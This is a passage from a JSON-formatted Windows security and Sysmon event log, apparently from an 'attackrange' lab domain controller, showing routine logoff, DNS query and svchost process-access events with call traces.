11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221836,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F37F\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5f37f","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4204,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:08.966\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107D140200}\r\nProcessId: 2564\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dfsrs.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:08.966","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107D140200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dfsrs.exe","EventReceivedTime":"2020-08-07 11:55:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 